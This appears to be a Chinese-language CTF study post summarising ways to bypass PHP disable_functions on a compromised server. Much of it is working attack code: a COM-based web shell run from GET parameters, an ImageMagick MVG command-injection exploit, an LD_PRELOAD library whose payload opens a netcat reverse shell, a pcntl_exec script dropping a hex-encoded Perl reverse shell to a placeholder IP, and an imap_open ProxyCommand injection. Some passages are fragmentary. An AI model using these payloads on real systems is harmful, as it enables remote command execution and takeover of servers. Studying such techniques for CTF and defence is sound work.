之前在做ctf 题的时候,遇到很多次给出shell 但是却有disable_function 限制的题目,一直没有好好搞清楚绕过的方法,今天来一个总结
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
对于php 7.3 .15 < 7.3.6 可以用另一个exploit.php 一把梭: (这个蚁剑插件里面也有,利用的是php garbage collector 程序中的堆溢出触发进而执行命令)
https://github.com/mm0r1/exploits/tree/master/php-json-bypass
(1) 首先查看phpinfo ,如果是php 7 ,直接先上面工具一把梭
(2) 如果不是php7 ,那么再看disable_function 有没有遗漏的函数,毕竟是黑名单,所以很有可能没写全,可以对照这个列表来比较:
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
关于eval 和 assert ,eval 是一个语言构造器,而assert 从php7 开始也变成了一个语言构造器而不是一个函数
这里贴出自己用的检测遗漏函数的脚本:
$black = "dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link,ini_set,chdir";
$black_list = explode(',', $black);
//这里放字符串
$str = "pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl";
$list = explode(',', $str);
foreach ($black_list as $key => $value) {
if(!in_array($value, $list))
{
echo "find! {$value} is omit!\n";
}
}
echo "finished!";
(3) 如果上面这个列表的都过滤了:
i. 如果是php 7.4 看看phpinfo 中的opache.preload 是否开启,利用FFI 和 预加载 来绕过
ii. 如果系统是windows 的 ,phpinfo 搜索com.allow_dcom 是否开启,考虑使用com 组件来绕过
iii. 看是否是apache ,使用了cgi mod ,phpinfo 中搜索server api 看是否是cgi 或者 fast cgi ,考虑利用.htaccess 和 cgi 来绕过
iv. 看是否使用了ImageMagick 组件 ,同样phpinfo 搜索Imagick ,考虑使用imageMagick 的命令执行(CVE-2016-3714)漏洞来绕过
(4) 如果有一些没有过滤:
i. dl , exec ,system ,passthru,popen.proc_open ,pcntl_exec ,shell_exec, imap_open 则可以直接考虑利用这些函数来执行命令
ii. 没有过滤putenv ,则可以考虑使用使用LD_PRELOAD 来绕过 ,如果mail函数也没有过滤使用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,或者mail 函数过滤了error_log 没有过滤,同样可以使用这个poc ,只需要把mail("", “”, “”, “”);替换为error_log(“a”,1);
error_log 参考链接: https://xz.aliyun.com/t/4623#toc-0
一张绕过总结的截图:
再加上php 7 的那个绕过就基本完整了
关于蚁剑插件的一些方法可以参考:
https://www.anquanke.com/post/id/195686#h3-4 通过Antsword看绕过disable_functions
1.利用 php 7.4 中的FFI :
使用限制:
(1)只有在预加载的php 文件中可以使用FFI ,查看phpinfo 中opache.preload 是否开启
基本使用demo:
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>
具体绕过的实例可以参考RCTF nextphp :
https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/
https://aluvion.github.io/2019/05/25/RCTF2019-Web-nextphp%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83%E5%92%8C%E5%AD%A6%E4%B9%A0/
2.使用windows 系统组件com 来绕过
条件:
(1)phpinfo 中 com.allow_dcom 开启
什么是com 组件:
COM组件是以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。 --百度百科
comshell.php :
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
3.利用apache ,cgi mod 和 .htaccess 来绕过 https://www.freebuf.com/vuls/218495.html
(1)利用条件:
phpinfo 中搜索server api 是 cgi 或者fastcgi
(2)如果是cgi 模式:
(3)如果是fast_cgi 模式:
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")' //核心
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
更多imageMagick组件绕过参考: http://47.98.146.200/index.php/archives/45/
(2)结合putenv ,ghostScript: 参考: https://sec.thief.one/article_content?a_id=43d564e98f3e91dde9c399ee598f390b
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>
其中 imag.c文件需要编译,命令如下
gcc -shared -fPIC imag.c -o imag.so
imag.c代码
#include
#include
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
5.直接利用遗漏函数 exec , shell _exec ,system ,passthru ,popen ,proc_open,pcntl_exec,imap_open.dl 来执行命令 :
(1) exec
echo exec('whoami');?>
(2) shell_exec
echo shell_exec('whoami');?>
(3) system
system('whoami');?>
(4) passthru
passthru("whoami");?>
(5) popen
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{ echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);
?>
(6) proc_open
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{ echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
(7) pcntl_exec:
条件: 开启了pcntl 扩展,并且php 4>=4.2.0 , php5 onlinux
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
然后这里又涉及怎么查看php运行模式:
(1)通过Phpinfo 中的server ip 来查看
(2)通过php_sapi_name() 函数来查看
利用方法可以参考:
https://blog.csdn.net/cangyingaoyou/article/details/7384317
(1)利用mail 或者imap_mail函数,结合破壳漏洞:
利用条件
i .linux
ii. mail 函数可以执行
iii. 存在破壳漏洞 ,这一点很难满足,毕竟cve 都是2014 年的
iv. php<5.6.2
poc : https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
破壳漏洞原理: https://introspelliam.github.io/2017/09/09/shellshock%E5%8E%9F%E7%90%86%E4%BB%8B%E7%BB%8D/
(2)利用ID_PROLOAD ()
i. 劫持单个函数
参考 :https://xz.aliyun.com/t/4623#toc-0
ii. 劫持启动进程:
参考 : https://www.freebuf.com/web/192052.html
payload: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD [而且可以免杀]
payload利用条件: 也是要可以使用mail 函数或者可以使用error_log 函数
payload 注意事项:
参考: https://www.meetsec.cn/index.php/archives/44/
https://www.freebuf.com/articles/web/192052.html 《无需 sendmail:巧用 LD_PRELOAD 突破 disable_functions》
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/
7.蚁剑插件利用
(2) chdir() , ini_set() 函数结合
具体可以参考: https://zhzhdoai.github.io/2019/05/12/open-basedir%E4%BB%A3%E7%A0%81%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/
2. php中可利用的危险函数 : https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/ (不一定是命令执行的函数)
3. 利用github 或者 exploit-db 搜索关键词 disable_functions 等等来搜索资源
4. 读php文件源码:
最好是php7 直接一把梭,其次是看利用putenv 和 mail 或者error_log 来突破 【当然最好的还是一些可以直接执行命令的函数没有被过滤】,其他的感觉要求还是比较苛刻